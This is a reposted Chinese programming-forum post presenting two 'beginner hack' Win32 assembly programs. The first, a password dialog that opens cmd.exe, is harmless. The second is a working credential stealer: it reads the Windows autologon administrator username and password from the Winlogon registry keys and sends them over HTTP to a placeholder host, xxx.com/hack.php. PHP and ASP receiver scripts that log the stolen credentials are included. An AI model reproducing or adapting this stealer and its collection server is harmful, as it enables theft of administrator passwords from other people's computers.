AutoCAD 3DMAX C语言 Pro/E UG JAVA编程 PHP编程 Maya动画 Matlab应用 Android
Photoshop Word Excel flash VB编程 VC编程 Coreldraw SolidWorks A Designer Unity3D
 首页 > 汇编语言

编程论坛会员写的两个hack编程入门程序(win32汇编)

51自学网 http://www.51zixue.net

原帖及讨论:http://bbs.bccn.net/thread-223568-1-1.html

在网上看到两个 hack编程入门的程序 用汇编写了一下 贴出来请各位指点一下

第一个

功能:程序运行后提示输入对话框输入一个密码
密码正确运行CMD程序,密码不正确继续运行!
文件越小越好 提示使用winmain函数 动态创建文本窗体 处理按键消息
参考delphi 7代码:
program Project1;
uses
  SysUtils,  Windows,  Dialogs  ;
{$R *.res}
begin  
  if mystr=inputbox('please input pass','what is password?','') then
  begin
    WinExec(PChar('cmd.exe'), SW_SHOWDEFAULT);
  end;
end.

既然要小 就得用汇编啦~~



;MASMPlus 代码模板 - 以对话框做为主窗口的程序
;*********************************************************
;为了让文件更小  
;进行了快合并(貌似.rsrc不能合 呵呵)
;字符串直接放在 .code 里
;对齐是32(在偶的xp上可以执行的)
;/ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text  
;by zklhp   Email:zklhp@sina.com
;*********************************************************
.386
.Model Flat, StdCall
Option Casemap :None

Include windows.inc
Include user32.inc
Include kernel32.inc
;Include gdi32.inc
include Dialog.inc

;includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
include macro.asm
    
    DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
    

.CODE

    szPass db 'enter',0  
    szCmd db 'cmd.exe',0
    szError db '密码错误,正确的是 enter',0
    
    hInstance dd ?
    szBuffer db 16d dup(?)
    
START:
    invoke GetModuleHandle,NULL
    mov hInstance,eax
    invoke DialogBoxParam,hInstance,IDD_MAIN,0,offset DlgProc,0
    invoke ExitProcess,0

DlgProc proc hWnd,uMsg,wParam,lParam
    .if uMsg==WM_INITDIALOG
        invoke LoadIcon,hInstance,100
        invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,eax
        invoke RtlZeroMemory,offset szBuffer,16d
        invoke SendDlgItemMessage,hWnd,IDC_EDT1,EM_LIMITTEXT,15d,NULL
        invoke SetDlgItemText,hWnd,IDC_EDT1,addr szBuffer
    .elseif uMsg==WM_COMMAND
        mov eax,wParam
        and eax,0ffffh
        .if eax==IDOK
            invoke SendMessage,hWnd,WM_COMMAND,1003d,0
        .elseif eax==IDCANCEL
            invoke SendMessage,hWnd,WM_CLOSE,0,0
        .elseif eax==IDC_EXIT
            invoke SendMessage,hWnd,WM_CLOSE,0,0
        .elseif eax==IDC_OK
            invoke GetDlgItemText,hWnd,IDC_EDT1,addr szBuffer,15d
            .if eax > 0
                invoke lstrcmp,offset szBuffer,offset szPass
                .if eax==0
                    invoke WinExec,offset szCmd,SW_NORMAL
                    invoke SendMessage,hWnd,WM_INITDIALOG,0,0
                .else
                    invoke MessageBox,hWnd,offset szError,0,0
                    invoke SendMessage,hWnd,WM_INITDIALOG,0,0
                .endif
            .endif
        .endif
    .elseif uMsg==WM_CLOSE
        invoke EndDialog,hWnd,wParam
    .else
        mov eax,FALSE
        ret
    .endif
    mov eax,TRUE
    ret
DlgProc endp

END START

第一个很简单 第二个比第一个麻烦点

功能:读取windows xp系统里自动登录的管理员用户名和密码,并发送到http://xxx.com/hack.php里
接收参数?username=username&password=password
语言:不限制
程序越小越好提示:自动登陆的注册表设置是这样的:
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Winlogon
“AutoAdminLogon”,值设为“1”字符串值“DefaultPassword”,登录时的密码,字符串值:“DefaultUserName”,用户名

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Winlogon
xp的
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon
这是2003的



post数据接收文件PHP代码
<?
    $username = $_POST[username];
    $password = $_POST[password];    
    
    if(($username!="")&&($password!=""))
    {
        file_put_contents("pass.txt","username:$username;password:$password/n/r",FILE_APPEND);
    }
?>

post数据接收文件ASP代码
<%
dim username,password
username=request("username")
password=request("password")
if username<>"" and password<>"" then
set myfso=server.CreateObject("Scripting.FileSystemObject")
set mytxt=myfso.OpenTextFile(server.mappath("2.txt"),8,true)
mytxt.WriteLine("username:"+username+",password:"+password)
mytxt.close
end if
%>



;MASMPlus 代码模板 - 以对话框做为主窗口的程序

;*********************************************************

;和上一个一样  /ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text
;by zklhp   Email:zklhp@sina.com
;*********************************************************

.386
.Model Flat, StdCall
Option Casemap :None

Include windows.inc
Include user32.inc
Include kernel32.inc
;Include gdi32.inc
include WS2_32.inc
include Advapi32.inc

includelib Advapi32.lib
includelib WS2_32.lib
;includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
include macro.asm

.CODE

;为节省空间 数据放在代码段里

szUserName db 32 dup(0)
szPassword db 32 dup(0)

szFormat db 'POST /hack.php?username=%s&password=%s HTTP/1.1',0dh,0ah,0
szBuf db 'Accept: */*',0dh,0ah,/
            'Accept-Language: zh-cn',0dh,0ah,/
            'Accept-Encoding: gzip, deflate',0dh,0ah,/
            'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0dh,0ah,/
            'Host: xxx.com',0dh,0ah,/
            'Connection: Keep-Alive',0dh,0ah,0

szHostName db 'xxx.com',0

szKey_2003 db 'Software/Microsoft/Windows NT/CurrentVersion/Winlogon',0
szKey_xp db 'Software/Microsoft/Windows/CurrentVersion/Winlogon',0
szKeyName db 'DefaultUserName',0
szKeyPass db 'DefaultPassword',0

_RegQueryValue proc _lpszKey,_lpszValueName,_lpszValue,_lpdwSize,_lpdwType
    local @hKey,@dwReturn
    mov   @dwReturn,-1
    invoke  RegOpenKeyEx,HKEY_LOCAL_MACHINE,_lpszKey,NULL,KEY_QUERY_VALUE,addr @hKey
    .if   eax == ERROR_SUCCESS
        invoke  RegQueryValueEx,@hKey,_lpszValueName,NULL,_lpdwType,_lpszValue,_lpdwSize
        mov   @dwReturn,eax
        invoke  RegCloseKey,@hKey
    .endif
    mov   eax,@dwReturn
    ret
_RegQueryValue  endp

_Send proc uses edi esi ebx ,_lpUserName,_lpPassword

    local @stWsa:WSADATA,@stSin:sockaddr_in,@hSocket:DWORD
    local @szBuffer[300h]:BYTE ;放在堆栈里
    invoke RtlZeroMemory,addr @stWsa,sizeof @stWsa
    invoke RtlZeroMemory,addr @stSin,sizeof @stSin
    invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer

    invoke wsprintf,addr @szBuffer,offset szFormat,_lpUserName,_lpPassword
    invoke lstrcat,addr @szBuffer,offset szBuf

    invoke WSAStartup, 0002h, addr @stWsa
    invoke socket, AF_INET, SOCK_STREAM, 0
    .if eax != INVALID_SOCKET
        mov @hSocket, eax
        mov @stSin.sin_family,AF_INET
        invoke htons,80
        mov @stSin.sin_port,ax
        invoke gethostbyname,addr szHostName
        .if eax
            mov eax, [eax + hostent.h_list]
            mov eax, [eax]
            mov eax, [eax]
            mov @stSin.sin_addr, eax
        .endif
        invoke connect,@hSocket,addr @stSin,sizeof @stSin
        invoke lstrlen,addr @szBuffer
        invoke send,@hSocket,addr @szBuffer,eax,0
        invoke closesocket,@hSocket
    .endif
    invoke WSACleanup
    ret

_Send endp
    
START:
    ;为节省空间  在堆栈里放数据(貌似省不了多少……)
    mov eax,32
    push eax
    push eax
    mov ebx,esp
    lea edi,[esp+4h] ;ebx edi edi 会被保护 一般不会变的

    ;为了使程序简化 就不判断操作系统的版本了 呵呵
    invoke _RegQueryValue,offset szKey_2003,offset szKeyName,offset szUserName,ebx,edi
    mov ecx,[ebx]
     ;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发
    .if eax == ERROR_SUCCESS && ecx != 1
        invoke _RegQueryValue,offset szKey_2003,offset szKeyPass,offset szPassword,ebx,edi
        mov ecx,[ebx]
        .if eax == ERROR_SUCCESS && ecx != 1
            ;又有帐号 又有密码  发送!
            ;int 3h
            invoke _Send,offset szUserName,offset szPassword
            jmp @Exit
        .endif
    .endif

    invoke _RegQueryValue,offset szKey_xp,offset szKeyName,offset szUserName,ebx,edi
    mov ecx,[ebx]
     ;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发
    .if eax == ERROR_SUCCESS && ecx != 1
        invoke _RegQueryValue,offset szKey_xp,offset szKeyPass,offset szPassword,ebx,edi
        mov ecx,[ebx]
        .if eax == ERROR_SUCCESS && ecx != 1
            ;又有帐号 又有密码  发送!
            invoke _Send,offset szUserName,offset szPassword
            jmp @Exit
        .endif
    .endif

@Exit:
    ;恢复堆栈 退出
    pop eax
    pop eax
    invoke ExitProcess,0

END START


就是第二个没法验证对错 还望各位高手指点  

两个程序都是用masmplus写的 在偶的xp上运行正常

Project.rar (10.73 KB)

 

 

 
上一篇:汇编语言写的自动关闭QQ迷你首页的小程序  下一篇:汇编源码--alarm